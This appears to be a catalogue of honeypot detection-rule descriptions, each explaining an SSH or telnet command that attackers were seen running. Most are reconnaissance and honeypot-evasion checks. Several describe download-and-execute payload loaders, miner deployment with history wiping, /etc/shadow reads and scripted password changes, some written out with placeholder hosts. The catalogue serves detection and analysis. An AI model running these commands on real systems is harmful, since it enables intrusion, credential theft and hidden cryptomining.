ssh — Executes echo 'testpipe' | grep 'testpipe' | wc -c to validate shell pipeline functionality and command availability. Indicates deliberate shell capability testing following interactive access.
ssh — Executes echo Hi | cat -n over SSH to validate pipe functionality and confirm cat supports the -n line-numbering flag, producing deterministic numbered output for environment verification.
ssh — Executes echo $HOME to print the current user’s home directory path from the HOME environment variable. This command is commonly used during post-access reconnaissance to determine the filesystem location associated with the active shell user.
ssh — Identifies an attempt to automate a password change by piping newline-separated values from echo directly into the passwd utility. The embedded \n sequences simulate interactive input (current password, new password, confirmation), indicating scripted credential modification rather than manual operator input
ssh — Attempts to grant execute permissions to a hidden binary located at /.16. The command first tries to escalate privileges by piping a password to sudo -S to run chmod +x /.16, and falls back to executing the same permission change without sudo if privilege escalation fails. This pattern is commonly observed in automated attack scripts preparing a downloaded payload for execution while attempting opportunistic privilege escalation.
ssh — Pipes a numeric string into sudo -S to execute a compound shell command that changes into /dev/shm, downloads a payload named .16 from an HTTP endpoint under /f/x86_64/ using curl with retry options and falls back to wget if the download fails. The script then marks the binary executable with chmod +x, executes it from the temporary memory-backed directory, and removes the file afterward using rm -rf. If the privileged execution fails, the entire sequence is retried via bash -c without sudo. This command pattern represents an automated payload loader that stages, executes, and cleans up a binary from shared memory to minimize persistence on disk.
ssh — Pipes a numeric string into sudo -S to attempt execution of a hidden binary located at /.16 via bash -c. If the sudo execution fails, the command falls back to executing the same binary directly through bash -c. This command structure is commonly used in automated attack scripts to run a payload with elevated privileges when possible, while still ensuring execution if privilege escalation fails.
ssh — Pipes a numeric string into sudo -S to execute rm -rf /.16, attempting to remove a hidden binary located in the filesystem root with elevated privileges. If the sudo execution fails, the command falls back to running the same removal command via bash -c without sudo. This pattern is typically used in automated scripts to ensure cleanup or removal of a payload regardless of whether privilege escalation succeeds.
ssh — Echoes a bracketed [out ...] marker containing nproc and extracted CPU model from /proc/cpuinfo, with uname -a as a fallback using || within command substitution.
ssh — Uses echo with output redirection (>) to create or overwrite a file in /tmp (e.g., /tmp/test_*), writing arbitrary content to disk. This reflects direct file creation via shell redirection in a temporary directory.
ssh — Identifies execution of a literal echo statement immediately followed by uname -a, separated by a semicolon (;). The semicolon enforces sequential execution regardless of success state, indicating deliberate multi-command chaining. This pattern is commonly used in scripted reconnaissance where a marker string is emitted before performing full kernel and system identification.
ssh — Matches execution of echo $SHELL over an SSH session. This command reveals the user’s current default shell (e.g., /bin/bash, /bin/sh, /bin/zsh) and is typically used during post-authentication reconnaissance to fingerprint the runtime environment before executing more complex payloads. It provides low-impact environmental context and is commonly observed early in automated enumeration sequences.
ssh — Execution of env piped to head to display the first N environment variables, typically used for lightweight environment inspection during host reconnaissance.
ssh — Executes env with stderr redirected to /dev/null, truncates output to the first ten environment variables via head -10, and falls back to printing No env info if unavailable. This pattern indicates automated environment profiling to extract execution context variables (e.g., PATH, HOME, USER, container hints) without generating excessive output.
ssh — Identifies execution of the env command with stderr suppressed and output truncated via head. This pattern indicates environment variable enumeration with controlled output size, commonly observed in scripted reconnaissance. Limiting output to the first N lines reduces noise while still revealing key variables such as USER, HOME, PATH, SHELL, or container/runtime indicators.
ssh — Execution of ls -d /opt/sshesame /opt/hornet /opt/blacknet /opt/heralding 2>/dev/null | wc -l to check for the presence of default SSHesame, Hornet, Blacknet, or Heralding honeypot installation directories and return a numeric count of matches. The inclusion of wc -l indicates the result is being programmatically evaluated, reflecting automated honeypot or deception-environment fingerprinting prior to further attacker activity.
ssh — Execution of test -f /etc/sshesame.yaml && echo FOUND to verify the presence of the default SSHesame configuration file and emit a marker string if found. This pattern reflects targeted detection of an SSHesame honeypot deployment prior to continued attacker interaction.
ssh — Invokes /usr/.work/work32 with two positional arguments, where the first is root and the second is a password-like string. The command itself does not reveal the binary’s internal behavior, only that it is executed with credential-shaped arguments.
ssh — Invokes /usr/.work/work64 with two positional arguments, where the first is root and the second is a password-like string. The command itself does not reveal the binary’s internal behavior, only that it is executed with credential-shaped arguments.
ssh — Performs a silent (-s) outbound HTTP request to ipinfo.io/org with a short timeout (--max-time 3) to retrieve the organization (ASN owner) associated with the host’s public IP address. This is typically used to identify whether the compromised system is running inside a cloud provider, hosting company, or specific ISP, enabling attackers to adapt behavior (e.g., skip residential targets, detect honeypots, prioritize cloud GPUs, etc.).
ssh — Identifies execution of free -m followed by filtering for the Mem row and extracting multiple positional fields via awk. The selected columns typically represent total, used, free, shared, buff/cache, and available memory (in megabytes). Unlike single-field extraction, this pattern captures a structured memory profile snapshot for programmatic evaluation.
ssh — Identifies execution of free -h with stderr suppression, filtered via grep Mem to isolate the memory summary row, and parsed with awk to extract the second column (typically total system memory). The additional stderr redirection suggests scripted execution with noise suppression rather than interactive diagnostics.
ssh — Execution of getent passwd <username> 2>/dev/null to query the system account database for a specific user entry while suppressing error output. This pattern reflects targeted local user enumeration to determine whether a given account exists, commonly performed after gaining shell access to assess valid login targets or environment realism.
ssh — Detects the presence and count of NVIDIA GPUs on a host by conditionally checking for lspci availability and enumerating VGA devices, falling back to nvidia-smi -q if lspci is unavailable. The command suppresses errors and outputs a numeric count of detected NVIDIA devices, indicating automated GPU capability assessment for workload suitability (e.g., cryptomining or GPU-accelerated computation).
ssh — Extracts the CPU model name from /proc/cpuinfo using grep 'model name', suppresses stderr output, and limits results to the first match. Indicates targeted hardware profiling to assess system realism, virtualization, or resource suitability following shell access.
ssh — Uses grep MemTotal /proc/meminfo with stderr redirected to /dev/null to retrieve total system memory. Indicates targeted host resource profiling following shell access.
ssh — Invokes echo -e "\x6F\x6B" to emit the literal string "ok" using hexadecimal escape sequences. This exact pattern acts as a minimal execution probe, confirming that the shell supports escape interpretation and that command output is successfully returned, while avoiding a direct plaintext "ok" string in the command itself.
ssh — Matches a compound command that modifies Bash history behavior by setting HISTSIZE, redefining HISTFILE, injecting a custom HISTTIMEFORMAT marker, reloading the history file with history -r, and then printing the session history via history.
ssh — Execution of history | tail -* to retrieve the last *n commands from the current shell history, reflecting recent command activity inspection.
ssh — Identifies execution of the history builtin with stderr suppressed and output truncated via tail. This pattern retrieves only the most recent entries (e.g., last 5 commands), indicating quick inspection of prior shell activity. Suppressing errors suggests scripted execution where history may not always be available (non-interactive shells, restricted environments).
ssh — Execution of the hostname command to retrieve the system’s configured host name. Commonly used during basic system reconnaissance to identify the target machine within a network or infrastructure context.
ssh — Reads /etc/hostname to retrieve the system’s configured hostname. Represents direct extraction of local host identifier from the filesystem.
ssh — Executes hostname with stderr redirected to /dev/null, returning the system’s hostname while suppressing potential error output. This primitive is commonly used in automated host fingerprinting to identify the machine label within scripts that collect environment metadata prior to payload selection or lateral movement logic.
ssh — Executes id to retrieve the current user’s UID, GID, and group memberships. Represents direct identity and privilege context enumeration of the active session.
ssh — Executes ifconfig over SSH to enumerate network interfaces, assigned IP addresses, and interface configuration details on the host.
ssh — Executes ip addr show and filters output to interface index header lines (^[0-9]+:), typically used to enumerate available network interfaces without retrieving full address details.
ssh — Extracts IPv4 CIDR ranges from the local routing table by piping ip r (ip route) output into a regex-based grep -Eo pattern that matches dotted-quad addresses followed by a subnet mask (e.g., 192.168.0.0/24). The -o flag ensures only the matched CIDR blocks are returned. This is indicative of automated local network discovery to enumerate internal subnets for lateral movement or environment profiling.
ssh — Executes ip route show, suppresses errors, and returns the first few routing table entries using head, typically used to enumerate the system’s active IP routing configuration (e.g., default gateway and connected networks).
ssh — Finds processes using files within the current directory via lsof +D ., extracts their PIDs, deduplicates them, and forcefully terminates them with kill -9. Recursively deletes the current directory with rm -rf .. Reads existing crontab entries and pipes an empty result (via grep -v .) back into crontab -, resulting in a cleared crontab.
ssh — Invokes kill -9 with the literal argument message+.
ssh — Invokes kill -9 with the literal argument root.
ssh — Invokes kill -9 with the literal argument systemd+.
ssh — Executes last -n 3 with stderr suppressed and pipes output to head -3 to review recent login history. Indicates post-compromise inspection of prior interactive sessions to assess system activity or detect sandbox/honeypot environments.
ssh — Enumerates locally listening TCP/UDP sockets using ss -tuln with stderr suppressed and limits output to the first 20 lines. If ss is unavailable, it falls back to netstat -tulpn, also truncated to 20 lines. This conditional snapshot indicates automated network service discovery to quickly assess exposed ports and potentially identify competing services, security tooling, or pivot opportunities.
ssh — Executes locate <identifier> over SSH to search the filesystem index for a specific Telegram Desktop tdata-style identifier, indicating targeted session artifact discovery.
ssh — Identifies resolution of the absolute path of the ls binary using which, followed by ls -lh to display its file metadata (permissions, size, ownership, and timestamp). The use of command substitution ($(which ls)) indicates deliberate inspection of the actual executable backing a common system utility, rather than listing a directory.
ssh — Identifies execution of lscpu piped through grep Model to isolate CPU model information from the structured CPU summary output. This approach leverages lscpu rather than /proc/cpuinfo, indicating intentional use of a higher-level utility for hardware fingerprinting while narrowing output to relevant model details.
ssh — Execution of lscpu with filtering for "Model name:" and field extraction via cut -d ' ' -f 14- to retrieve the CPU model name from structured processor information output.
ssh — Lists the contents of /dev and pipes the output to wc -l to count device entries. Indicates structural host profiling to assess environment completeness, virtualization artifacts, or honeypot realism following shell access.
ssh — Identifies a conditional existence check where a hidden file is listed and, if successful, triggers a confirmation string via echo. The use of 2>/dev/null suppresses errors if the file does not exist, while && echo 'exists' confirms presence only on success. This pattern is commonly used in scripted post-staging validation to verify that a payload, credential file, or marker file was successfully written.
ssh — Execution of ls with combined -l (long format) and -a (include hidden files) flags against an absolute directory path (e.g., /, /tmp, /var/log) to enumerate full directory contents including hidden entries and metadata such as ownership and permissions.
ssh — Execution of ls -la against common Linux network configuration paths (/etc/network/interfaces, /etc/sysconfig/network-scripts/, /etc/netplan/) with stderr suppressed (2>/dev/null) and output truncated using head -5, indicating targeted enumeration of host network configuration files during an SSH session.
ssh — Lists the contents of /opt with stderr redirected to /dev/null. Indicates targeted inspection of optional software installations or third-party applications following shell access.
ssh — Execution of lspci | grep "3D controller" | cut -f5- -d ' ' to identify PCI devices classified as 3D controllers and extract the descriptive portion of the device string starting from the fifth whitespace-delimited field, typically used to retrieve discrete GPU model information.
ssh — Execution of lspci | egrep VGA && lspci | grep 3D to enumerate PCI devices classified as VGA and 3D controllers, typically used to identify available GPU or graphics hardware via PCI-level inspection.
ssh — Execution of lspci | grep VGA -c to count the number of PCI devices identified as VGA-class, typically used to determine how many GPU/display adapters are present on the system.
ssh — Enumerates PCI devices using lspci, suppresses stderr, filters case-insensitively for vga, selects the first match, extracts the device description field via cut -d ':' -f3-, normalizes whitespace with xargs, and falls back to N/A if no output is produced. This pattern indicates automated GPU/display adapter identification, commonly used to detect virtualization environments or discrete GPU hardware (e.g., NVIDIA) for workload suitability decisions.
ssh — Executes ls -la against Telegram Desktop tdata directories, GSM/USB modem device nodes, SMS spool/log paths, smsd configuration files, and Qualcomm modem components to enumerate messaging session data and cellular/SMS-related artifacts.
ssh — Lists the contents of /var/log, suppresses stderr output, and pipes results to wc -l to count log directory entries. Indicates post-compromise environment profiling to assess system logging footprint or host maturity.
ssh — Execution of grep MemTotal /proc/meminfo 2>/dev/null | awk '{print $2}' to extract the total physical memory value (in kB) from /proc/meminfo while suppressing error output. The use of awk to isolate the numeric field indicates programmatic evaluation of available system memory, reflecting host capability profiling or sandbox realism assessment following shell access.
ssh — Observed command free -h | grep Mem | awk '{print $2}' executed over SSH to extract total system memory in human-readable format, typically used for post-authentication host resource profiling and environment validation.
ssh — Execution of free -m piped to awk to extract and print the total system memory (MB) from the Mem: line.
ssh — Performs aggressive system cleanup and competitor miner removal before launching a new payload from /var/tmp. The command deletes the current user's crontab (crontab -r), removes filesystem immutability/append attributes from persistence locations using chattr -iae (notably ~/.ssh/authorized_keys and hidden directories under /var/tmp), and wipes known miner artifacts and staging directories (/dev/shm/.x, /tmp/.diicot, /var/tmp/.update-logs, xmrig, .black, etc.). It then attempts to terminate competing processes (xmrig, cnrig, java, Opera) using pkill and killall, recreates staging directories in /var/tmp, and executes a binary payload (./FCNHtyRn) with output suppressed and the process disowned for background persistence. Finally, it clears command history (history -c) and deletes shell history files to reduce forensic visibility. This pattern is characteristic of cryptocurrency mining bot deployments that remove competing miners and establish exclusive control over the host.
ssh — Executes a continuous while true loop that polls system telemetry from /proc (/proc/meminfo, /proc/stat, /proc/version, /proc/uptime, /proc/loadavg, /proc/sys/fs/file-nr, /proc/sys/kernel/hostname, /proc/net/dev) along with df -l and who, emitting the marker ##Moba## each iteration. This pattern matches the automated system monitoring routine spawned by the MobaXterm SSH client after session initialization.
ssh — Runs a continuous system telemetry loop associated with the MobaXterm SSH client, conditioned on the parent process remaining alive (while [ -d /proc/$PPID ]). The loop sleeps for one second between iterations and collects host metrics from /proc, including memory information (/proc/meminfo), CPU and system state (/proc/stat, /proc/version, /proc/uptime, /proc/loadavg), file descriptor usage (/proc/sys/fs/file-nr), hostname (/proc/sys/kernel/hostname), and network interface statistics (/proc/net/dev). It also reports disk usage via df and active user sessions via who. Each iteration emits the marker string ##Moba##, which is used by the MobaXterm client to parse and display real-time system monitoring data. The loop terminates automatically once the parent SSH session process exits.
ssh — Identifies execution of the mount command with stderr suppressed and output truncated via head. This pattern is commonly used during host reconnaissance to quickly inspect mounted filesystems while limiting output volume. Suppressing errors reduces noise, and truncation suggests scripted or automated environment fingerprinting rather than interactive administration.
ssh — Executes mount with stderr redirected to /dev/null, limits output to the first five lines via head -5, and falls back to printing No mount info if the command fails. This pattern indicates automated filesystem topology reconnaissance, capturing a quick snapshot of mounted filesystems to identify containerization artifacts, unusual mounts, or writable targets without generating excessive output.
ssh — Execution of mount | head -5 to list mounted filesystems and return only the first five entries, providing a truncated snapshot of the system’s mount configuration.
ssh — Execution of netstat -tulpn with stderr suppressed, filtered for LISTEN sockets, and truncated with head to enumerate a subset of listening TCP/UDP services and associated processes.
ssh — Identifies execution of netstat -tulpn with stderr suppressed and output truncated via head. The -tulpn flags enumerate listening TCP/UDP sockets along with associated processes and numeric addresses. Output truncation indicates controlled sampling rather than full interactive inspection, consistent with scripted network reconnaissance.
ssh — Execution of netstat -tulpn | head -10 to list listening TCP and UDP sockets with associated process identifiers and program names, returning 10 entries as a truncated network service snapshot.
ssh — Execution of nproc --all to retrieve the total number of processing units available on the system, including all configured CPUs regardless of current availability.
ssh — Execution of nproc to retrieve the number of processing units currently available to the process, reflecting the effective CPU count visible within the system or container context.
ssh — Execution of nvidia-smi -q with filtering for "Product Name" and field extraction via awk, followed by grep . -c to count non-empty product name entries, typically used to determine the number of detected NVIDIA GPUs.
ssh — Execution of nvidia-smi -q with filtering for "Product Name" and field extraction via awk to obtain the reported NVIDIA GPU model name from the first matching entry.
ssh — Execution of nvidia-smi -q with output filtered for the string "Product Name" using grep, extracting GPU product name entries during SSH session hardware inspection.
ssh — Execution of nvidia-smi -q with filtering for "Product Name", followed by awk field extraction and line counting (wc -l) with output truncation (head -c 1). The command determines the number of detected NVIDIA GPUs on the host during SSH-based hardware capability enumeration.
ssh — Execution of cat /etc/os-release 2>/dev/null to read operating system identification metadata while suppressing error output. This pattern reflects operating system discovery activity commonly performed after shell access to determine distribution, version, and environment characteristics.
ssh — Reads /etc/passwd, suppresses error output, and returns only the first line using head -1. Represents targeted extraction of initial account metadata from the local user database file.
ssh — Enumerates likely interactive user accounts by reading /etc/passwd, excluding system and non-login accounts (nologin, false, sync, halt, shutdown), and extracting only the username field (cut -d: -f1). This pattern indicates automated filtering to identify valid login-capable users for credential targeting, privilege escalation assessment, or lateral movement preparation.
ssh — Detects SSH session activity where passwd is executed with password values piped via standard input (e.g., echo ... | passwd) to automate credential modification without interactive prompts.
ssh — Execution of echo -e "…\n…\n…" | passwd | bash to supply password input non-interactively via standard input to the passwd utility. The use of piped input indicates an attempt to automate a local account password change rather than performing it interactively.
ssh — Execution of echo $PATH to display the current command search path from the environment variable. This pattern reflects environment profiling activity, allowing an operator to understand available executable locations, detect restricted environments, or assess sandbox realism following shell access.
ssh — Executes ping -c 1 against a specified host, suppresses error output, and filters for the 1 packets transmitted line. Represents a single-packet connectivity test used to verify outbound network reachability.
ssh — Execution of pip3 show twisted 2>/dev/null | grep 'Location.*cowrie' to retrieve metadata about the installed Twisted package and filter for installation paths containing “cowrie”. This pattern reflects targeted honeypot fingerprinting by validating whether the Twisted framework is installed within a Cowrie-associated directory, indicating deliberate detection of a Cowrie-based deception environment prior to continued attacker activity.
ssh — Execution of ps aux | head -20 to enumerate running processes and display the first 20 entries. This pattern reflects basic process discovery activity commonly performed after gaining shell access to assess the host environment, identify security agents, or understand active services.
ssh — Executes ps aux with stderr redirected to /dev/null and limits output to the first 10 lines via head -10, producing a short process snapshot of the most visible running tasks. The truncation strongly suggests automated reconnaissance that only needs a quick overview (often to detect miners, security agents, or competing malware) rather than full manual inspection.
ssh — Execution of cat /proc/mounts 2>/dev/null | wc -l to count the number of mounted filesystems listed in /proc/mounts while suppressing error output. The use of wc -l indicates programmatic evaluation of mount table size, reflecting system environment profiling or container/sandbox detection following shell access.
ssh — Execution of cat /proc/1/cgroup 2>/dev/null | grep -i docker | head -1 to inspect the control group assignments of PID 1 and search for case-insensitive references to “docker”, returning the first match. This pattern reflects explicit container environment detection by examining cgroup metadata to determine whether the system is running inside a Docker-based runtime prior to continued attacker activity.
ssh — Execution of cat /proc/1/cgroup 2>/dev/null | grep -i lxc | head -1 to inspect the control group assignments of PID 1 and search for case-insensitive references to “lxc”, returning the first match. This pattern reflects explicit container environment detection by examining cgroup metadata to determine whether the system is running inside an LXC-based container prior to continued attacker activity.
ssh — Execution of cat /proc/1/cmdline 2>/dev/null | tr '\0' ' ' to read the command-line arguments of PID 1 and replace null byte separators with spaces for readable output. This pattern reflects process and environment profiling activity, commonly used to determine the init system (e.g., systemd, init, container entrypoint) and assess whether the host is a containerized, virtualized, or standard Linux environment following shell access.
ssh — Execution of cat /proc/1/environ 2>/dev/null | tr '\0' '\n' | grep -i 'container' | head -1 to read the environment variables of PID 1, convert null-byte separators into newline-delimited output, and search for case-insensitive references to “container”, returning the first match. This pattern reflects runtime container environment detection by inspecting process-level environment metadata prior to continued attacker activity.
ssh — Observed command cat /proc/uptime | awk '{print $1}' executed over SSH to extract system uptime in seconds from /proc/uptime, typically used for host profiling, sandbox detection, or environment validation after successful authentication.
ssh — Execution of cat /proc/version 2>/dev/null to read the Linux kernel version and build information while suppressing error output. This pattern reflects operating system and kernel discovery activity, commonly performed after shell access to determine system version details for exploit selection, capability assessment, or environment profiling.
ssh — Reads /proc/version, suppresses error output, and returns only the first line using head -1. Represents retrieval of kernel and build version information from the proc filesystem for system fingerprinting purposes.
ssh — Executes ps aux with stderr suppressed and filters for monitoring or auditing tools (e.g., tcpdump, snoopy, auditd), excluding the grep process itself. Indicates defensive tooling detection or anti-analysis behavior following shell access.
ssh — Lists all processes using ps aux, filters entries containing netai, excludes lines containing grep, and counts the remaining matches using wc -l.
ssh — Executes ps aux and pipes output to head -15 to preview the first 15 running processes. Indicates rapid process inspection for system profiling or honeypot validation after shell access.
ssh — Execution of ps aux | head -10 to list all running processes in BSD-style format and return 10 entries, providing a truncated snapshot of active system processes.
ssh — Executes ps -ef | grep '[Mm]iner' over SSH to enumerate running processes and search for cryptocurrency mining software using bracket-based case-insensitive matching.
ssh — Executes ps | grep '[Mm]iner' over SSH to search running processes for cryptocurrency mining software using bracketed case-insensitive pattern matching.
ssh — Execution of pwd to retrieve the absolute path of the current working directory for the active shell session.
ssh — Executes pwd with stderr redirected to /dev/null, returning the current working directory of the session while suppressing potential error output. This is typically used in automated post-compromise scripts to confirm execution context and determine filesystem positioning before file writes, payload drops, or path-based operations.
ssh — Resolves and outputs the absolute path of the executable referenced by /proc/message+/exe using readlink -f.
ssh — Resolves and outputs the absolute path of the executable referenced by /proc/root/exe using readlink -f.
ssh — Execution of uname -a followed by a hex-encoded string output and a conditional download of a remote script using wget or curl, with the retrieved content piped directly into sh for execution ((wget … || curl …) | sh -s ssh). This pattern reflects remote payload retrieval with immediate in-memory shell execution using dual-tool fallback logic.
ssh — Executes rm -f against a file in /tmp (e.g., /tmp/test_*), forcing deletion without prompting and suppressing errors if the file does not exist. Represents direct forced file removal in a temporary directory.
ssh — Executes ls / to list the contents of the root directory. Represents direct enumeration of top-level filesystem structure.
ssh — Executes df -h / and extracts the total size field for the root (/) filesystem using awk, typically used to determine overall disk capacity of the primary system volume.
ssh — Queries disk usage for the root filesystem (df -h /) with stderr suppressed, extracts the used and total size from the second line via awk 'NR==2 {print $3 "/" $2}', and falls back to printing N/A if the command fails. This indicates scripted disk-capacity profiling to assess available space for payload deployment (e.g., miners, droppers, staging files), while ensuring deterministic output even in restricted environments.
ssh — Execution of find / -maxdepth 1 -name 'etc' 2>/dev/null to verify the presence of an etc directory at the root filesystem level while suppressing error output. This pattern reflects basic filesystem sanity validation or environment fingerprinting, often used to assess whether the system layout resembles a standard Linux host prior to further attacker activity.
ssh — Executes /interface lte print over SSH to enumerate LTE interfaces on MikroTik RouterOS devices, indicating automated probing for RouterOS systems with cellular connectivity.
ssh — Executes /ip cloud print over SSH against a non-RouterOS system, indicating automated probing for MikroTik RouterOS devices by attempting RouterOS-specific command paths.
ssh — Executes /ip cloud set ddns-enabled=yes over SSH, attempting to enable MikroTik RouterOS Cloud DDNS functionality.
ssh — Executes /user set 0 password=<value> over SSH, attempting to change the password of the first user account on a MikroTik RouterOS device.
ssh — Invokes scp -t /usr/.work/ to start SCP in sink mode on the remote host, preparing it to receive files into the /usr/.work/ directory. This exact command is used as part of an inbound file transfer sequence, enabling an external client to upload payloads or artifacts directly into the previously created hidden working directory.
ssh — Invokes the scp binary in target mode (-t) to prepare the remote host to receive files into the /dev/shm directory. This command appears as part of the SCP protocol during SSH file transfer operations when a client uploads files to the shared memory filesystem, which is often used for temporary or in-memory execution of transferred payloads.
ssh — Invokes the scp binary in target mode (-t) to prepare the remote host to receive files into the /root directory. This command typically appears as part of the SCP protocol during file transfer sessions over SSH when a client uploads files to the root user's home directory.
ssh — Invokes the scp binary in target mode (-t) to prepare the remote host to receive files into the /tmp directory. This command is generated as part of the SCP protocol during SSH file transfer sessions when a client uploads files to the temporary filesystem, commonly used for staging or transient file storage.
ssh — Invokes the scp binary in target mode (-t) to prepare the remote host to receive files into the /var/tmp directory. This command appears during SCP protocol operations over SSH when a client uploads files to /var/tmp, a temporary storage location that persists across reboots and is commonly used for staging transferred files.
ssh — Execution of chained commands that forcibly remove specific scripts from /tmp, terminate related running processes via pkill -9, truncate /etc/hosts.deny, and kill sleep processes, indicating active cleanup, process disruption, and removal of host-based access control restrictions on a Unix-like system.
ssh — Attempts to read /etc/shadow, suppresses error output, and returns only the first line using head -1. Represents targeted access to the system’s password hash file to extract initial credential metadata.
ssh — Attempts to read the current shell’s command history using history, suppresses stderr, and limits output to the last five entries via tail -5. If history is unavailable (e.g., non-interactive shell, restricted environment), it falls back to printing No history. This pattern indicates automated reconnaissance attempting to extract recently executed commands for credential discovery, prior operator activity, or payload intelligence.
ssh — Invokes sleep 2 to pause execution for exactly two seconds. This exact command is typically used to introduce a short delay between sequential operations, helping coordinate timing, avoid race conditions, or throttle execution in scripted workflows.
ssh — Execution of cat /etc/ssh/sshd_config 2>/dev/null to read the OpenSSH daemon configuration file while suppressing error output. This pattern reflects SSH service configuration discovery, commonly performed after shell access to assess authentication settings, permitted login methods, port configuration, or other security controls relevant to persistence or lateral movement.
ssh — Executes ss -tuln, suppresses error output, and counts the resulting lines using wc -l. Represents enumeration and quantification of listening TCP and UDP sockets on the host.
ssh — Executes systemctl list-units --type=service --state=running, suppresses error output, and returns the first entries using head. Represents enumeration of actively running systemd services on the host.
ssh — Uses test -f to check for the presence of /etc/cowrie/cowrie.cfg, suppresses stderr output, and conditionally echoes a marker string. Indicates explicit Cowrie honeypot configuration file detection following shell access.
ssh — Uses test -f to check for the presence of /home/cowrie/cowrie.cfg, suppresses stderr output, and conditionally echoes a marker string. Indicates explicit detection attempt for a user-space Cowrie honeypot installation following shell access.
ssh — Uses test -d to check for known honeypot installation directories under /home (e.g., Cowrie, Kippo, Honeytrap, Dionaea, Glastopf, OpenCanary), optionally suppressing stderr and conditionally echoing a marker string. Indicates explicit honeypot detection behavior following shell access.
ssh — Uses test -f to check for the presence of /opt/cowrie/etc/cowrie.cfg, suppresses stderr output, and conditionally echoes a marker string. Indicates explicit detection attempt for a Cowrie honeypot installed under /opt with nested configuration directory.
ssh — Checks for the existence of known honeypot installation directories under /opt (e.g., Cowrie, Kippo, Honeytrap, Dionaea, Glastopf, OpenCanary), optionally suppressing stderr and conditionally echoing a marker string. Indicates explicit honeypot detection behavior following shell access.
ssh — Executes time dd if=/dev/zero of=/tmp/testio bs=1M count=10 2>&1 to benchmark disk write performance by timing a 10MB write to /tmp. Indicates host resource evaluation to assess system performance or suitability for payload deployment.
ssh — Lists all processes with PID, CPU usage, and command name using ps -eo pid,pcpu,comm, sorts them by CPU usage in descending order (--sort=-pcpu), and outputs the top 10 entries using head -n 10.
ssh — Identifies invocation of the top utility to display real-time process and resource usage statistics. Unlike truncated or piped variants, standalone top indicates interactive system monitoring. This command reveals CPU utilization, memory consumption, running processes, and load averages, and is often used for situational awareness on an accessed host.
ssh — Execution of uname -a to retrieve all available system information fields in a single output, typically including kernel name, node name (hostname), kernel release, kernel version, machine architecture, processor type, and operating system.
ssh — Identifies execution of the uname command without additional flags. In its default form, uname returns the kernel name (e.g., Linux). This minimal invocation is often used as a lightweight environment check to confirm operating system type before issuing more specific reconnaissance commands.
ssh — Executes uname -a while redirecting stderr to /dev/null, producing a full kernel and system identity fingerprint (kernel name, hostname, kernel version, build string, architecture). Error suppression suggests scripted execution where noisy output is undesirable. This primitive is commonly used in automated host profiling prior to payload selection or exploit matching.
ssh — Execution of uname -s -m to retrieve the system’s kernel name and machine hardware architecture in a single invocation.
ssh — Execution of uname -s to retrieve the system’s kernel name (e.g., Linux), providing minimal operating system identification.
ssh — Executes uname -r to retrieve the running kernel release version. Represents direct kernel version enumeration for system fingerprinting.
ssh — Execution of uname -m to retrieve the system’s machine hardware architecture (e.g., x86_64, aarch64) during an SSH session.
ssh — Identifies an SSH session where the attacker executes uname -m to retrieve the system’s machine architecture, suppressing errors via 2>/dev/null and falling back to echo unknown if the command fails. This pattern is commonly used in automated post-compromise reconnaissance to determine CPU architecture (e.g., x86, x86_64, arm, mips) for selecting an appropriate malware payload binary.
ssh — Execution of uname -n to retrieve the system’s network node hostname. This pattern reflects basic host identification and environment profiling activity commonly performed after shell access to determine the machine’s hostname within a network or cluster context.
ssh — Execution of uname with a single flag (e.g., -n, -r, -s, -m) with output piped through awk for formatted extraction. Used to retrieve specific system attributes such as hostname, kernel release, OS name, or architecture during SSH-based system fingerprinting.
ssh — Execution of uname -s -v -n -r -m to retrieve kernel name, kernel version, node name (hostname), kernel release, and machine architecture in a single invocation.
ssh — Executes (uname -a; cd /tmp; wget <remote>; perl <file>; rm -rf <file>; history -c; clear) to stage and run a remote Perl payload from /tmp followed by artifact and history cleanup.
ssh — Unsets common locale and shell environment variables (LANG, LANGUAGE, LC_*, HUMAN_BLOCKS, LS_COLORS) to normalize command output and remove localization artifacts, then performs basic filesystem reconnaissance by executing pwd and ls -la after redundant cd . directory checks. This pattern is commonly used by automated SSH post-authentication scripts to ensure predictable command output across different system locales before enumerating the current working directory contents.
ssh — Execution of uptime to retrieve current system time, system uptime duration, number of logged-in users, and load averages.
ssh — Execution of uptime -p to retrieve system uptime in human-readable “pretty” format (e.g., “up 3 hours, 12 minutes”).
ssh — Attempts to retrieve human-readable system uptime using uptime -p (pretty format) with stderr suppressed, and falls back to standard uptime output if the -p flag is unsupported. This conditional pattern indicates automated host profiling that prefers normalized output but remains compatible across distributions and older systems.
ssh — Identifies execution of the uptime command with stderr redirected to /dev/null. While uptime is commonly interactive, explicit error suppression suggests scripted host profiling or automated environment checks. The command reveals system runtime duration and load averages, which are often used to assess system stability, activity level, or sandbox freshness.
ssh — Execution of uptime with output filtered through grep, sed, and awk to extract and normalize the human-readable uptime portion of the output, returning only the primary time components (e.g., hours and minutes). This reflects scripted parsing of system uptime for structured use.
ssh — Execution of ls /usr/bin 2>/dev/null | wc -l to count the number of executable entries within /usr/bin while suppressing error output. The use of wc -l indicates programmatic evaluation of binary population size, reflecting environment profiling or sandbox realism assessment following shell access.
ssh — Downloads the Python-based speedtest-cli network benchmarking script from the public GitHub repository sivel/speedtest-cli using wget, saving it locally as speedtest-cli. The command retrieves speedtest.py from raw.githubusercontent.com, which implements a client for the Speedtest.net API used to measure network latency, download speed, and upload throughput from the host system. This pattern represents remote retrieval of a network bandwidth testing utility for subsequent execution.
ssh — Executes wget -q --timeout=3 -O /dev/null against a remote HTTP endpoint, redirects stderr to stdout, and pipes the result to head -1 to capture minimal response output. Indicates outbound network connectivity testing following shell access.
ssh — Executes which to resolve the filesystem path of a specified executable, used to determine whether a particular command is present and where it is located in the system’s PATH.
ssh — Executes whoami with stderr redirected to /dev/null, returning the effective username of the current session while suppressing potential error output. This is a lightweight identity confirmation primitive commonly used in automated reconnaissance to verify execution context (e.g., root vs non-root) before branching into privilege escalation or payload logic.
ssh — Execution of whoami to retrieve the effective username of the current process, reflecting the active user context under which commands are being executed.
ssh — Identifies execution of the w command to enumerate currently logged-in users along with their originating IPs, login times, idle durations, and active processes. This command provides real-time session visibility and is commonly used to assess whether a host is actively monitored or to identify other interactive users
telnet — Direct invocation of the BusyBox multi-call binary (/bin/busybox) without specifying a subcommand. This pattern is commonly observed in automated shell sessions where the actor is verifying BusyBox availability, querying supported applets, or preparing to execute embedded utilities through BusyBox on constrained or embedded Linux systems.
telnet — Execution of /bin/busybox cat /bin/busybox during an interactive Telnet session, indicating direct read access to the BusyBox binary itself.
